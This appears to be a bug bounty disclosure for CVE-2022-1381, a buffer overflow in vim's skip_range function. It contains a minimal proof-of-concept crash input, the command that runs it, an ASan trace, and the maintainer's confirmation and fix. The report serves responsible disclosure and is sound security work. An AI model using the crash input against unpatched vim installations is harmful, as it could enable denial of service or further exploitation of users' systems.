

# global heap buffer overflow in skip\_range in vim/vim

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## Description

When fuzzing vim commit [f420ff244](#) [v8.2.4747](#) with clang 13 and ASan, I discovered a global buffer overflow.

## Proof of Concept

Here is the minified poc

```
r<sfile>
0norm0V:^[
```

How to build

```
LD=lld AS=llvm-as AR=llvm-ar RANLIB=llvm-ranlib CC=clang CXX=clang++ CFLAGS=
make -j$(nproc)
```

## Proof of Concept

Run crafted file with this command

```
./vim -u NONE -X -Z -e -s -S poc_skip_range_min -c :qa!
```

ASan stack trace:

```
aldo@vps:~/vim/src$ ASAN_OPTIONS=symbolize=1 ASAN_SYMBOLIZER_PATH=/usr/bin/
=====
==3301533==ERROR: AddressSanitizer: global-buffer-overflow on address 0x000
READ of size 1 at 0x000000f3489b thread T0
#0 0x6dcf36 in skip_range /home/aldo/vimtes/src/ex_docmd.c:992:17
#1 0x6ce745 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:992:17
#2 0x6c93f2 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:992:17
```

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```
#3 0x914a95 in nv_colon /home/aldo/vimtes/src/normal.c:3191:19
#4 0x8f7ced in normal_cmd /home/aldo/vimtes/src/normal.c:930:5
#5 0x6fa35d in exec_normal /home/aldo/vimtes/src/ex_docmd.c:8730:6

#6 0x6f9f63 in exec_normal_cmd /home/aldo/vimtes/src/ex_docmd.c:8693:5
#7 0x6f9cc3 in ex_normal /home/aldo/vimtes/src/ex_docmd.c:8611:6
#8 0x6d56c2 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:2567:2
#9 0x6c93f2 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:992:17
#10 0xafb875 in do_source_ext /home/aldo/vimtes/src/scriptfile.c:1665:5
#11 0xaf92c0 in do_source /home/aldo/vimtes/src/scriptfile.c:1791:12
#12 0xaf8df9 in cmd_source /home/aldo/vimtes/src/scriptfile.c:1165:14
#13 0xaf88dd in ex_source /home/aldo/vimtes/src/scriptfile.c:1191:2
#14 0x6d56c2 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:2567:2
#15 0x6c93f2 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:992:17
#16 0x6cc680 in do_cmdline_cmd /home/aldo/vimtes/src/ex_docmd.c:586:12
#17 0xed3ca4 in exe_commands /home/aldo/vimtes/src/main.c:3104:2
#18 0xed19d9 in vim_main2 /home/aldo/vimtes/src/main.c:780:2
#19 0xecb2c0 in main /home/aldo/vimtes/src/main.c:432:12
#20 0x7ffff78240b2 in __libc_start_main /build/glibc-SmFBJT/glibc-2.31/
#21 0x41edcd in _start (/home/aldo/vimtes/src/vim+0x41edcd)
```

0x000000f3489b is located 5 bytes to the left of global variable '<string literal>' is ascii string '+'

0x000000f3489b is located 53 bytes to the right of global variable '<string literal>' is ascii string '<,>'

SUMMARY: AddressSanitizer: global-buffer-overflow /home/aldo/vimtes/src/ex\_docmd.c:586:12 in do\_cmdline\_cmd  
Shadow bytes around the buggy address:

```
0x0000801de8c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000801de8d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000801de8e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 f9
0x0000801de8f0: f9 f9 f9 f9 00 04 f9 f9 f9 f9 f9 f9 00 00 04 f9
0x0000801de900: f9 f9 f9 f9 00 00 f9 f9 f9 f9 f9 f9 06 f9 f9 f9
=>0x0000801de910: f9 f9 f9[f9]02 f9 f9 f9 f9 f9 f9 f9 00 02 f9 f9
0x0000801de920: f9 f9 f9 f9 00 03 f9 f9 f9 f9 f9 f9 07 f9 f9 f9
0x0000801de930: f9 f9 f9 f9 00 01 f9 f9 f9 f9 f9 f9 00 f9 f9 f9
0x0000801de940: f9 f9 f9 f9 00 02 f9 f9 f9 f9 f9 f9 00 f9 f9 f9
0x0000801de950: f9 f9 f9 f9 00 05 f9 f9 f9 f9 f9 f9 00 02 f9 f9
0x0000801de960: f9 f9 f9 f9 07 f9 f9 f9 f9 f9 f9 05 f9 f9 f9
```

Shadow byte legend (one shadow byte represents 8 application bytes):

```
Addressable:             00
Partially addressable: 01 02 03 04 05 06 07
Not addressable:        08 09 10
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```
Heap left redzone:      ta
Freed heap region:      fd
Stack left redzone:     f1

Stack mid redzone:      f2
Stack right redzone:    f3
Stack after return:      f5
Stack use after scope:  f8
Global redzone:         f9
Global init order:      f6
Poisoned by user:       f7
Container overflow:      fc
Array cookie:           ac
Intra object redzone:   bb
ASan internal:          fe
Left alloca redzone:    ca
Right alloca redzone:   cb
Shadow gap:             cc
==3301533==ABORTING
```



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CVE

CVE-2022-1381

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Vulnerability Type

CWE-122: Heap-based Buffer Overflow

Severity

High (7.8)

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Other

Affected Version

8.2.4747

Visibility

Public

Status

Fixed

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Fixed by



Bram Moolenaar

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maintainer

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We are processing your report and will contact the **vim** team within 24 hours. 7 months ago

We have contacted a member of the **vim** team and are waiting to hear back 7 months ago

Bram Moolenaar 7 months ago

Maintainer

Note that the ^[ in the POC is actually an ESC character. That way I can reproduce the bug.

Bram Moolenaar validated this vulnerability 7 months ago

Muhammad Aldo Firmansyah has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Bram Moolenaar 7 months ago

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Fixed with patch v8.2.4763

**Bram Moolenaar** marked this as fixed in **8.2** with commit **f50808** 7 months ago

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